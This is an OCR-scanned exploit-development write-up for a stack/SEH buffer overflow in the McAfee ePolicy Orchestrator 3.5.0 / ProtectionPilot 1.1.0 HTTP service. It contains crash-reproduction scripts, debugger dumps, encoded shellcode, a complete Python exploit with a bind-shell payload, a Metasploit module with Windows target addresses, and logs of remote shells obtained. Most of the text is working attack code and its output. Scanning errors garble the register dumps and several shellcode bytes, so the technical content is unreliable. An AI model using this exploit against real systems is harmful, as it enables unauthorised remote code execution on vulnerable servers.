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What is McAfee Epolicy 3.5.0 / Protection Pilot 1.1.0 ?

McAfee® ePolicy Orchestrator® is a security management solution that gives you a coordinated

defense against malicious threats and attacks. As your central hub, you can keep protection up to

date; configure and enforce protection policies; and monitor security status from one centralized

console.

McAfee® ProtectionPilot™ makes it easy for you to keep your threat protection up to date. It keeps

a constant watch on your network, automatically updating your systems without intervention. It’s a

simple way to deploy, monitor, and manage security for desktops, servers, and e-mail.

Where's the problem ?

The McAfee HTTP server does not filter user input properly, and crashes once a "Source" HTTP

header of 50-100 characters is sent. The following python script will crash the server with the

resulting CPU registers (Figures 1,2).

#!/usr/bin/python

import socket

import os

import sys

shellcode = "\xCC"*1500

Guid_Buffer="\x41"*100

Source_Buffer= "a" * 96 + "\x42\x42\x42\x42" +"\x44"*1300

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )

print "[+] Connecting to "+sys.argv([l]

expl.connect ( ( sys.argv[1l], 81 ) )

print "[+] Sending Evil Buffer\n"

expl.send ( 'GET /spipe/pkg HTTP/1.0\r\n \
User—-Agent: Mozilla/4.0 (compatible; SPIPE/1.0\r\n \
AgentGuid="'+Guid_Buffer+'\r\n \
Source="+Source_Buffer+'\r\n\r\n\r\n')

expl.close ()

print "[+] Payload Sent."




Registers [FPUI]

ERX 4444444

ECH E20FFEF4

EDX HZ0FFEDE

EBX BE0HEEEEH

ESP B20FFB3C

EEF 820FF1RA4 ASCII "DODODDDODOOOOOOON
ESI BEEESC31

EDI 820FF230

EIF 58417FS0 naisp32.50417FE0
8 ES @923 S2bit O(FFFFFFFF)
G C5 801E 32bit O(FFFFFFFF)
@ 55 823 32bit OFFFFFFFF)
S 0S5 9823 52bit @(FFFFFFFF)
a
a
a

FS BB22 32bit FFFASEOEE(FFF)
G5 @EEE MULL

LastErr ERROF_SUCCESS (B0@B@060
EFL @B@@azez (MO, ME,HE, A, MS, PO, GE, G)

5TE empty B.8
5T1 empty B.A
5T2 empty B.8
5T2 empty B.8
5T4 empty B.8
STS empty B.8
5TE empty B.8
STV empty H.8

2218 ESFP
FST BEEE Cond B @ B B Err @ O @
FCW 827F Prec MEAR,52  HMask 1

=EC

(Figure 1)

B SEH chain of thread 01 oy ]

Address |SE handler -
B20FF194| 42424242

(Figure 2)

As Olly suggests, this is a vanilla SEH overflow. After pressing F9, we should see the EIP address
change to our "\x42\x42\x42\x42" string (Figure 3) .




Registers [(FPUI £ £ £
ERX Ez0FEDVLC

ECH 42424242

EDX 7FF951B5 ntdll.7FF951B6

EEX @20FF194 ASCII "aaasBEEEOOOCODOOODOCODODOOOODDOON
ESP B20FECE4
EEF 820FEDE4
ESI 820FEDR4
EDI &z0FFZ30

EIFP 42424242

C @ ES 8823 32bit BIFFFFFFFF)

F 1 C5 B8lB 32bit BIFFFFFFFF)

A B 55 8822 32bit @IFFFFFFFF)

£ 1 D5 8823 32bit BIFFFFFFFF)

5 B F5 083B 32biv FFFAS@O0E(FFF)

E S G5 @EEE HULL

0 @ LastErr ERROR_SUCCESS [ BHECEEEE]
EFL BE@@az4s (Mo, HE,E,EE, M5, FE, GE,LE]
5TH empty 8.8

S5T1 empty B.8

5T2 empty 8.8

ST2 empty B.8

5T4 empty B.8

5TES empty 8.8

STE empty B.8

5T7 empty 8.8

3218 ESFUD
FST BEBE Cond B @ B B Err B B @ G B
FCW 827F FPrec MEAR,53 Mask 111

i

O I
B a [(&ET)
11

(Figure 3)

Notice that EBX points to some of our user input (as can be seen in the memory dump). In order to
land in our shellcode, we will need to perform a short jump over the SE handler, into our shellcode.

However after further examination, we find out that we have limited space for our shellcode ~157
bytes. Ironically, the basic Metasploit "calc.exe" shellcode requires 164 bytes, with the default

encoder.

OllyDbg - NAIMSERY.EXE 10l =l
File “iew Debug Plugins Options MWindow Help
e

Bl x| wn] wis ¥4 ] 4 LE[mM[T|[W|H|c|/[K|[B|R[.|S]

CPU - thread 000007EC

& | Registers [(FPLUI < 3 < 3 <
= @ ERx B20FEDYLC
ECH 42424242
El P7FIS1BE ntdl
EE= [B2DEE194] ASCI
ESF B20FECE4
EEFP B2DFEDA4
ESI BzDFEDA4
EDI 8zDFFZ30

EIF 42424242

L FrFAR1EG
*"aa3aBEEEDDDOODODDDDODDODDDDDDOODDDDDDODDODDOC

———

C B ES BE2Z S2bit BIFFFFFFFF)
F 1 C5 BOLE 32bit BIFFFFFFFF)
A @ S5 BA22 22hit @iFFFEFFFF)
7 1 DOS BAZZ 22bit @iFFFFFFFF]
S @ FS BESE S2bit FFFASEEE(FFF)
. 4T @ G5 e@EEa NULL
ﬁ = RE TURH arl
A < |Malue Comment ;m ¢ rFEEEFH to nt . FrFEEEYH
. BZDFECES| BeDFEDA4
FEAARE G et 08 (=se Eai Somene BE0FECEC| B20FF194| ASCIT "asasBEEEOO00O000OCOODODOOOD
BED0FF198| 42424242[ SE hand ler
BZDFECFA| BZ0FEOCH
e o G20FECF4| B2DFEDTC
BZDFF 1A8| 44444444 :
BZDFECFS| B2Z0FF194| Pointer to next SEH record
e Sttt GEDFECFC| 7rFSSiBe|SE h
BZ0FF 1AS| 44444444 ndlen
BZ0FEDEG| B20FF194| ASCIT "asasBEEEO000000C0OOOOOOOOOOD
BZDFF1AC| 44444444 | A
B2DFF 1E0| 44444444
BZDFEDES|| 7PF9S166| RETURN to ntdll.7PFIS168 from ntdl
BZDFF1E4| 44444444 e | | EEeE
BZDFF 1ES| 44444444
BZ0FED16|| B20FF194| ASCIT *asasBEEEO0O00000OOOOOOOOOOD
BZDFF1EC| 44444444
BZDFED14|| BE0FEOCE
GZDFF1CE| 44444444 e | |
BEDFF1C4| 44444444
B2DFEDLC|| 42424242
BZDFF1CE| 44444444
BZ0FEDZA || BE0FFZ30
BEDFF1CC| 44444444
BZDFEDZ4|| BEEESCE1
GZDFF100| 44444444
G20FEDZS || B20FECA4
BEDOFF 104| 44444444
BZDFEDZC || BEEe 1508
BZDFF 102 | 44444444
BZDFEDZE|| B20FEED4
BZDFF10C| 44444444 AT || S
BEDFF 1EG| 44444444 Aeh hoBHEEEN
AZNFF 1F4| 44444444 920FED38|] 77F92A38| ntdL L. FAFY2AsE

Access violation when executing [42424242] - uze Shift+F7/F8/F9 to pass exception to program | | Pauzed




Solving the limited buffer problem

After browsing the memory dump we find our original HTTP GET request, at 0x02dff098.

DllyDbg - NAIMSERY.EXE =10 x|

File “iew Debug Plugins Options Window  Help
Bl

S x| w[n| ui¥ $1 | 2 v|E[M[T|w/n|[c|/|K|B|R|..|5| i

CPU - thread 00D0D07EC

& | Begisters (FFLUI 4 £ £ £ £

= | ERX BZ0FEDFC

ECK d2d24242

EDx FFPFIS1EB6 ntdll.FrFIS1EE

EEX [BEDEETS4 ASCII "aaaaBEEEDDOODDOODODDODDODDODDDODODDODDDODDON
ESF B20OFECE4

EEF BZDFEDE4

ESI BE2DFEDA4

EDI &2DFFz230

EIF 42424242

B ES BB23 22bit BIFFFFFFFF)

1 C5 @8lE 3Zbit AIFFFFFFFF]

B S5 @Ez22 2Zbit BIFFFFFFFF)

1 DE 8822 22bit BIFFFFFFFF]

B FS 883B 3Zbit FFFASBCE]FFF)
g G5 @888 HULL

Eﬂiﬁ;l TrF2EEVE| RETURHM
Address [Malue Comment ~ P nrErEs| meDEEDGA

GZ0FFE74 | BBEASESS

H20OFECEC| B2DFF194|ASCII ™
H2OFFETE| Ba34a198
CoOFFUCC gannogen GEDFECFd| ASOFERTC
SEBFESEE Sggggégg B2Z0OFECF2| B2DFF1234|FPointer
HZOFFESS | BEEEEEEE HZOFECFC| 7FF251B&| SE hand

BZ20FED@E| B20FF 1934 ASCIT ™
H2ZOFFESC) BEEE2E 15 H2OFEDGY | ra20FEDSC
Bz0FFE5E| BZOFFE0E H20OFEDES || ¥7FI5166| RETURM
Hz0FFES4 | B20FFEF4 H20OFEDEC| | @2DFEDA4
B20FFA9S @3AA1S8C4| ASCII "GET ~spipe-pkg HTTP-1.8JE olser-Agent: HMozillas4.8 (o azoFED1e| | a20FF194| AscIT
HZ0FFESC| BERRERARAG BZOFEDL4 || @2DFEDCE
H2OFFEAE| B2AAZCEE| ASCIT ""ARRAARRAARRRARARARRARRRARRARARARARRAARRARARARRAARARAARARAA azoFeDiz|| e=0FEDTC
GZOFFEAL | BEEEREEG HZOFEDIC|| 42424242
BZ0FFERS| BBEEaEEE H20FED2E(| @2DFF220
H20FFEAC| BERaaEEE _I H20FEDZ24 || BEEESCS1
Hz0FFHED | BEEEAEEA H2OFEDZE (| @2DFEDA4
BZ0FFEES | BEDEEEEE B20FEDZC|| BE061 568
BZ0FFEES | BEEEARAG B2OFEDZE || 82DFEED4
SEEEESEE Sggggsgg B20FED34 (| ¥7F92121 (ntdlLl.7
AZNFFACA | ARRARARAA B2DFED23|| 77FS2A3S| ntdl L. ¥

|.l'1'u:cess violation when executing [42424242] - uge Shift+F 7 /F8/F3 to pass exception to program | | Faused

This GET request holds our entire original buffer — about 1300-1400 bytes of it— more than enough,
even for the most creative shellcode. However, how can we get to that buffer ? Simply jumping to
the GET request would be meaningless, as we CPU would encounter the hexadecimal values of the

letters GE and T.



Here's the corresponding memory dump, showing the original GET request :

Address ASCII -
HIAA1SC4 GET ~spipe<pka H
BIAA1204 TTP-<1.8.. .User-
HIAA12E4 Agent: Mozillard
BIAA1SF4 B [compatible;
B2AA19E4 SPIPE~1.8.. .Age
BIAA1914 nt Gy i d=ARRRARAARA
BIAA1924 AARAARARARARARAAA
BIAA1934 AARAAAAARARARAARA
HIAA1 944 AAARAAAAARARARAAA
H3AA1954 AARAAAAARARARAAA
BIAA1 954 AARAAAARARARARAAA
BIAA1974 AAARAARAAAAAAR. . .5
BIAA1934 = Fee= =P EEEEEEE
B2IAA1924 EEEEEEEEEEEEEEEE
B3AA19A4 EEEEEEEEEEEEEEEE]
B3IAA12E4 2333333333333333
BIAA19C4 EEEEEEEEEEEEEEEE]
BaAA 1564 amaacPERERARRRE:
BZAA1SE4 [ azaasa ™
BIAA19F4 DODOOODOOOOODDOD
B2AA1AE4 DOOOOODOOOODDDOD
BIAA1A14 DODOOODOOOOODDOD
BIAA1AZ4 DOOOOODOOOODDDOD
BIAA1AS4 DODOOODOOOOOoDOD
B3AA1A44 DODOOODOOOoooDoOD
BIAA1AS4 DODOOODOOOoOoDOD
BIAA1AG4 DODOOODOOOOODDOD
B23AA1AV4 DOOOOODOOOODDDOD
BIAA1AS4 DODOOODOOOOODDOD
BIAA1A94 DOOOOODOOOODDDOD
BIAA1ARG DODOOODOOOOODDOD
B3AA1AEG DOOOOODOOOODDDOD
BIAA1ACY DODOOODOOOoOoDOD
BIAA1ADG DODOOODOOOOODDOD
H3AA1AE4 OOOOOOOOOOODDDOD
BIAA1AF4 DODOOODOOOOODDOD
BIAA1EE4 DOOOOODOOOODDDOD
HIAA1EL4 DODOOODOOOOODDOD
BIAA1EZ4 DOOOOODOOOODDDOD
BIAA1ES4 DODOOODOOOOOoDOD
H3AA1E44 DODOOODOOOoooDoOD
HIAA1EE4 DODOOODOOOoOoDOD
BIAA1EE4 DODOOODOOOOODDOD
BIAA1EV4 DOOOOODOOOODDDOD
BIAA1ES4 DODOOODOOOOODDOD
BIAA1E94 DOOOOODOOOODDDOD
BIAA1EA4 DODOOODOOOOODDOD
B3AA1EE4 DOOOOODOOOODDDOD
HIAA1EBCY DODOOODOOOoOoDOD
BIAA1EO4 DODOOODOOOOODDOD
H3AA1BE4 OOOOOOOOOOODDDOD
HIAA1EF4 DODOOODOOOOODDOD
BIAA1CES DOOOOODOOOODDDOD
BIAAIC14 DODOOODOOOOODDOD
BIAA1CE4 DOOOOODOOOODDDOD
BIAA1CE4 DODOOODOOOOOoDOD
HIAA1C44 DODOOODOOOoooDoOD
HIAA1CE4 DODOOODOOOoOoDOD
BIAA1CES DODOOODOOOOODDOD _I
BIAA1CTY4 DOOOOODOOOODDDOD
BIAA1CEY DODOOODOOOOODDOD
BIAA1C94 4| DODOOODOODDDDDOD

BIARICHY

==y

After a few liters of coffee, and waaay too much sugar, we decided to use our initial 157 bytes of
shellcode to patch the GET request currently in memory, and replace the G and E characters with a
short jump. After this was done, we could then jump to the modified GET request in memory, land

on the newly placed short jump, and subsequently end up in our "Source" buffer (shellcode).

Notice that:

0x02df£f194 (EBX pointer) - 0x02df£f098 (location of GET request) = O0xFC




The above operation translates to the following CPU instructions (and machine code):

8B83 O4FFFFFF MOV EAX,DWORD PTR DS: [EBX-FC]
C700 EB559090 MOV DWORD PTR DS: [EAX], 909055EB
FF93 04FFFFFF CALL DWORD PTR DS: [EBX-FC]

This raw shellcode contains a null terminator, and other filtered characters. Using the Metasploit

payload encoder, we encode our 1* stage shellcode, and end up with:

$ ./msfencode -i jmp2 -e Pex -t c

[*] Using Msf::Encoder::Pex with final size of 44 bytes
"\x33\xc9\x83\xe9\xfb\xe8\xfE\xfF\xff\xff\xc0\x5e\x81\x76\x0e\x5d"
"\x39\xb4\xc5\x83\xee\xfc\xe2\xf4\xd6\xba\xb0\x3a\xa2\xc6\x73\xc5"
"\xb6\x6c\x24\x55\xa2\xaa\xb0\x3a\xa2\xc6\xb4\xc5""';

We summarize everything into the following code:

#!/usr/bin/python
import socket
import os

import sys

# Using Msf::Encoder::Pex with final size of 44 bytes

# 8B83 04AFFFFFF MOV EAX,DWORD PTR DS: [EBX-FC]

# C700 EB559090 MOV DWORD PTR DS: [EAX], 909055EB

# FF93 0AFFFFFF CALL DWORD PTR DS: [EBX-FC]

scl = "\x33\xc9\x83\xe9\xfb\xe8\xff\xfF\xXff\xff\xc0\x5e\x81\x76\x0e\x5d"

scl +="\x39\xb4\xc5\x83\xee\xfc\xe2\xf4\xd6\xba\xb0\x3a\xa2\xc6\x73\xc5"
scl +="\xb6\x6c\x24\x55\xa2\xaa\xb0\x3a\xa2\xc6\xb4\xc5"

shellcode = "\xCC"*1500

Guid_Buffer="\x41"*100
# O0x77e6f2a3 - JMP EBX - User32.dll Windows 2000 Server SP4

Source_Buffer= "a" * 92 + "\xeb\x08\x90\x90" + "\xa3\xf2\xeb6\x77" + "\x90"*8 + scl + "\x44"*1300

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )

print "[+] Connecting to "+sys.argv[l]

expl.connect ( ( sys.argv[1l], 81 ) )

print "[+] Sending Evil Buffer\n"

expl.send ( 'GET /spipe/pkg HTTP/1.0\r\n \
User-Agent: Mozilla/4.0 (compatible; SPIPE/1.0\r\n \
AgentGuid="'+Guid_Buffer+'\r\n \
Source="+Source_Buffer+'\r\n\r\n\r\n')

expl.close ()

print "[+] Payload Sent."




If all is well, the exploit should now land in our breakpoints ("\xcc" x 1500), as can be seen in the

accompanying Ollydbg video.

All that's left to do now is replace our 1400 breakpoints, with live, snarling, shell binding shellcode —

to give the following result:

C:\>exploit.py 192.168.59.130

[+] Connecting to 192.168.59.130

[+] Sending Evil Buffer

[+] Payload Sent - check for shell on port 4444

C:\>nc -nv 192.168.59.130 4444
(UNKNOWN) [192.168.59.130] 4444 (?) open
Microsoft Windows 2000 [Version 5.00.2195]

(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32>ipconfig

ipconfig

Windows 2000 IP Configuration

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . : localdomain
IP Address. . . . . . . . . . . . :192.168.59.130
Subnets Maisk "Ll SR DL L s 255102551.2551.10
Default Gateway . . . . . . . . . : 192.168.59.2

C:\WINNT\system32>




Exploit code

#!/usr/bin/python
import socket
import os

import sys

# win32_bind - EXITFUNC=seh LPORT=4444 Size=709 Encoder=PexAlphaNum http://metasploit.com */
sc = "\xeb\x03\x59\xeb\x05\xe8\Rf8\xfF\REFL\REF\x4E\x49\x49\x49\x49\x49"
sc +="\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
sc +="\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
sc +="\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
sc +="\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\xde\x4f\x4c\x36\x4b\xde"
sc +="\x4d\x54\x4a\x4e\x49\x4F\x4Ff\x4f\x4F\x4F\x4F\x4F\x42\x46\x4b\x48"
sc +="\x4e\x36\x46\x52\x46\x52\x4b\x48\x45\x44\x4e\x33\x4b\x38\x4e\x37"
sc +="\x45\x50\x4a\x47\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x31\x4b\x48"
sc +="\x4f\x45\x42\x32\x41\x30\x4b\x4e\x49\x54\x4b\x38\x46\x43\x4b\x58"
sc +="\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x59\x4e\x4a\x46\x48\x42\x4c"
sc +="\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e"
sc +="\x46\x4f\x4b\x53\x46\x35\x46\x32\x4a\x32\x45\x37\x45\x4e\x4b\x48"
sc +="\x4f\x45\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x38\x4e\x30\x4b\x34"
sc +="\x4b\x38\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x43\x30\x4e\x52\x4b\x38"
sc +="\x49\x58\x4e\x46\x46\x42\x4e\x51\x41\x36\x43\x4c\x41\x53\x4b\x44d"
sc +="\x46\x46\x4b\x48\x43\x34\x42\x33\x4b\x58\x42\x34\x4e\x50\x4b\x38"
sc +="\x42\x37\x4e\x51\x4d\x4a\x4b\x58\x42\x44\x4a\x30\x50\x35\x4a\x56"
sc +="\x50\x48\x50\x54\x50\x30\x4e\x4e\x42\x35\x4f\x4f\x48\x4d\x48\x36"
sc +="\x43\x45\x48\x36\x4a\x46\x43\x43\x44\x43\x4a\x46\x47\x57\x43\x47"
sc +="\x44\x43\x4f\x55\x46\x35\x4f\x4f\x42\x4d\x4a\x36\x4b\x4c\x4d\x4e"
sc +="\x4e\x4f\x4b\x53\x42\x35\x4f\x4f\x48\x4d\x4f\x35\x49\x58\x45\x4e"
sc +="\x48\x46\x41\x48\x4d\x4e\x4a\x50\x44\x50\x45\x35\x4c\x36\x44\x50"
sc +="\x4f\x4f\x42\x4d\x4a\x56\x49\x4d\x49\x30\x45\x4f\x4d\x4a\x47\x45"
sc +="\x4f\x4f\x48\x4d\x43\x45\x43\x35\x43\x45\x43\x35\x43\x45\x43\x54"
sc +="\x43\x45\x43\x44\x43\x35\x4f\x4f\x42\x4d\x48\x46\x4a\x56\x41\x41"
sc +="\x4e\x35\x48\x36\x43\x45\x49\x58\x41\x4e\x45\x49\x4a\x56\x46\x4a"
sc +="\x4c\x41\x42\x57\x47\x4c\x47\x55\x4f\x4£f\x48\x4d\x4c\x46\x42\x51"
sc +="\x41\x45\x45\x45\x4f\x4f\x42\x4d\x4a\x56\x46\x4a\x4d\x4a\x50\x32"
sc +="\x49\x4e\x47\x55\x4£f\x4F\x48\x4d\x43\x45\x45\x45\x4f\x4f\x42\x4d"
sc +="\x4a\x36\x45\x4e\x49\x44\x48\x48\x49\x54\x47\x55\x4f\x4f\x48\x4d"
sc +="\x42\x35\x46\x55\x46\x55\x45\x35\x4f\x4f\x42\x4d\x43\x49\x4a\x56"
sc +="\x47\x4e\x49\x47\x48\x4c\x49\x57\x47\x55\x4£\x4f\x48\x4d\x45\x35"
sc +="\x4f\x4f\x42\x4d\x48\x36\x4c\x46\x46\x36\x48\x56\x4a\x36\x43\x46"
sc +="\x4d\x56\x49\x58\x45\x4e\x4c\x56\x42\x35\x49\x45\x49\x52\x4e\x4c"
sc +="\x49\x38\x47\x4e\x4c\x36\x46\x34\x49\x48\x44\x4e\x41\x43\x42\x4c"
sc +="\x43\x4f\x4c\x4a\x50\x4f\x44\x34\x4d\x32\x50\x4Ff\x44\x44\x4e\x42"
sc +="\x43\x49\x4d\x38\x4c\x37\x4a\x33\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x36"
sc +="\x44\x47\x50\x4f\x43\x4b\x48\x51\x4Ff\x4£\x45\x37\x46\x44\x4£\x4E"
sc +="\x48\x4d\x4b\x45\x47\x35\x44\x45\x41\x55\x41\x35\x41\x55\x4c\x56"
sc +="\x41\x50\x41\x55\x41\x45\x45\x45\x41\x35\x4f\x4f\x42\x4d\x4a\x36"
sc +="\x4d\x4a\x49\x4d\x45\x50\x50\x4c\x43\x35\x4£f\x4f\x48\x4d\x4c\x56"
sc +="\x4f\x4f\x4f\x4f\x47\x43\x4f\x4Ff\x42\x4d\x4b\x38\x47\x35\x4e\x4f"




sc +="\x43\x38\x46\x4c\x46\x46\x4f\x4f\x48\x4d\x44\x55\x4f\x4f\x42\x4d"
sc +="\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x43\x55\x4f\x4f\x48\x4d"
sc +="\x4f\x4f\x42\x4d\x5a"

# [*] Using Msf::Encoder::Pex with final size of 44 bytes

# 8B83 04AFFFFFF MOV EAX,DWORD PTR DS: [EBX-FC]

# C700 EB559090 MOV DWORD PTR DS:[EAX],909055EB

# FF93 O04FFFFFF CALL DWORD PTR DS: [EBX-FC]

scl = "\x33\xc9\x83\xe9\xfb\xe8\REL\XEE\REE\XEf\xc0\x5e\x81\x76\x0e\x5d"

scl +="\x39\xb4\xc5\x83\xee\xfc\xe2\xf4\xd6\xba\xb0\x3a\xa2\xc6\x73\xc5"
scl +="\xb6\x6c\x24\x55\xa2\xaa\xb0\x3a\xa2\xc6\xb4\xc5"

Guid_Buffer="\x90"*4 + sc + "\x90"*4

# 0x77e6f2a3 - JMP EBX - User32.dll Windows 2000 Server SP4
Source_Buffer= "a" * 92 + "\xeb\x08\x90\x90" + "\xa3\xf2\xe6\x77" + "\x90"*8 + scl + "\x44"*1300

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
print "[+] Connecting to "+sys.argv[l]

expl.connect ( ( sys.argv[1l], 81 ) )

print "[+] Sending Evil Buffer"

expl.send ( 'GET /spipe/pkg HTTP/1.0\r\n \
User-Agent: Mozilla/4.0 (compatible; SPIPE/1.0\r\n \
AgentGuid="'+Guid_Buffer+'\r\n \

Source="+Source_Buffer+'\r\n\r\n\r\n'")

expl.close()

print "[+] Payload Sent - check for a shell on port 4444"




Metasploit module

The following is the Metasploit module, with targets for Windows 2000 and Windows 2003 SP1.

This file is part of the Metasploit Framework and may be redistributed
according to the licenses defined in the Authors field below. In the
case of an unknown or missing license, this file defaults to the same
license as the core Framework (dual GPLv2 and Artistic). The latest
version of the Framework can always be obtained from metasploit.com.

#

T T

package Msf::Exploit::mcafee_epolicy;
use base "Msf::Exploit";

use strict;

use Pex::Text;

my $advanced = { };

my $info =
{

'Name' => 'McAfee ePolicy Orchestrator 3.5.0 / ProtectionPilot 1.1.0',
'Version' => '$SRevision: 1.0 $',
'Authors' => [ 'muts <mati [at] see-security.com>', 1,
'Arch' => [ 'x86' ],
'oSs’ => [ 'win32', 'win2000', 'win2003' ],
'Priv' => 0,
'UserOpts' =>

{

'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port',6 81],
'SSL' => [0, 'BOOL', 'Use SSL'],

by

'Payload' =>
{

'Space' => 1480,

'MinNops' => 0,

'MaxNops' => 0,

'BadChars' => "\x00\x0a\x0d\x20\x26\x2b\x26\x3d\x25\x8c\x3c\xff",
'Keys' => ['4+ws2ord'],

}!

'Description' => Pex::Text::Freeform(gg{

This is a stack overflow exploit for McAfee ePolicy Orchestrator 3.5.0 and ProtectionPilot

Tested on Windows 2000 SP4 and Windows 2003 SP1.
Based on the exploit by xbxice and muts.
)y,

'Refs' =>

"OSVDB', 14238],
"BID', 73871,
"MIL', 111,

’

'DefaultTarget' => 0,
'Targets' =>

[

['Win2k ePo 3.5.0/ProtPilot 1.1.0', 96, O0x601F7AQ0E],# jmp ebx in xmlutil.dll

['Windows 2000 SP4 English', 96, O0x77E6F28B],# jmp ebx in user32.dll VM
['Windows 2003 SP1 English', 96, Ox601EDBDA],# pop pop ret xmlutil.dll

1,
'Keys' => ['Mcafee', 'Network Associates'],

'DisclosureDate' => 'Jul 17 2006',

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced},
return ($self) ;
}

sub Exploit {
my $self = shift;

@

)




my $target_host = $self->GetVar

'RHOST"') ;

(
my $target_port = $self->GetVar ('RPORT') ;
(

my $Starget_idx = $self->GetVar

"TARGET') ;

my $shellcode = $self->GetVar ('EncodedPayload')->Payload;
my $target = $self->Targets->[$target_idx];

if (! $self->InitNops(128)) {

$self->PrintLine (" [*] Failed to initialize the nop module.");
return;

my $patch_get_shellcode =

"\xeb\x03\x59\xeb\x05\xe8\xf8\xfF\xff\xff\x4F\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4b\x38\x43\x48\x46\x30".
"\xAF\RAF\RAE\RAF\x4AE\x4E\x47\x4c\x42\x50\x4b\x4e\x45\x55\x42\x59".
"\x42\x49\x4f\x4f\x43\x59\x46\x50\x4f\x4f\x4f\x4f\x4f\x4f\x43\x58".
"\x46\x4c\x46\x50\x49\x45\ x4 \x4Ff\x41\x49\x45\ x4\ x50 \x4f\x4f\x4f".
"\x4f\x4f\x5a";

if ($target->[2] == 1612667371) {

$self->PrintLine (" [*] Swapping 133t Shellcode for Windows2k3");

Spatch_get_shellcode =

my $evil

"\x6a\x05\x59\xd9\xee\xd9\x74\x24\x£4\x5b\x81\x73\x13\x48\xe9\xe8".
"\x9%9e\x83\xeb\xfc\xe2\xf4\xc3\x6d\xcc\x56\x4b\xe9\xe8\x59\x48\x02".
"\xbd\x0e\xd8\x16\x7c\xba\x80\xea\xe8\x9%e";

}

= "\x90" x 1300;

substr (Sevil, 92, 4, "\xeb\x06\x90\x90");
substr ($evil, 96, 4, pack("V", S$target->[2]));
substr (Sevil, 100, 4, "\x90\x90\x90\x90");

substr (Sevil, 115, 4, "\x90\x90\x90\x90");

(
(
substr ($evil, 104, 11, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90") ;
(
(

substr ($evil, 119, length($patch_get_shellcode), $patch_get_shellcode) ;

my $mutsnops = "\x90" x 64;
my S$pattern = "GET /spipe/pkg HTTP/1.0\r\n";
$pattern .="User-Agent: Mozilla/4.0 (compatible; SPIPE/1.0\r\n";
$pattern .="AgentGuid=".$mutsnops.$shellcode."\r\n";
Spattern .="Source=".S$evil."\r\n\r\n\r\n";
$self->PrintLine (sprintf ("[*] Trying ".S$target->[0]." using 0x%.8x...", $target->[2]));

my $s = Msf::Socket::Tcp->new

(

'PeerAddr' => S$target_host,
'PeerPort' => S$target_port,
'LocalPort' => $self->GetVar ('CPORT'),
T SSIL, => S$self->GetVar('SSL'),

)i

if ($s->IsError) {

}

$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;

$s->Send($pattern) ;
$s—>Recv (-1, 20);
$s—>Close() ;
return;

The Metasploit code it rough and dirty, I don't know Perl, so I had to wing it.




Metasploit code execution

$ ./msfcli mcafee epolicy RHOST=192.168.59.130 PAYLOAD=win32_ bind TARGET=0 E
[*] Starting Bind Handler.

[*] Trying Win2k ePo 3.5.0/ProtPilot 1.1.0 using 0x601f7a0e...

[*] Got connection from 192.168.59.1:2249 <-> 192.168.59.130:4444

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32>ipconfig

ipconfig

Windows 2000 IP Configuration

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . : localdomain
IP Address. . . . . . . . . . . . :192.168.59.130
Subnets Mask "L DL L s 255102551.2551.10
Default Gateway . . . . . . . . . : 192.168.59.2

C:\WINNT\system32>exit
exit

[*] Exiting Bind Handler.

$ ./msfcli mcafee epolicy RHOST=192.168.59.135 PAYLOAD=win32_ bind TARGET=2 E
[*] Starting Bind Handler.

[*] Swapping 133t Shellcode for Windows2k3

[*] Trying Windows 2003 SP1 English using 0Ox60ledbda...

[*] Got connection from 192.168.59.1:2250 <-> 192.168.59.135:4444

Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>ipconfig

ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . : localdomain
IP Address. . . . . . . . . . . . : 192.168.59.135
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.59.2

C:\WINDOWS\system32>




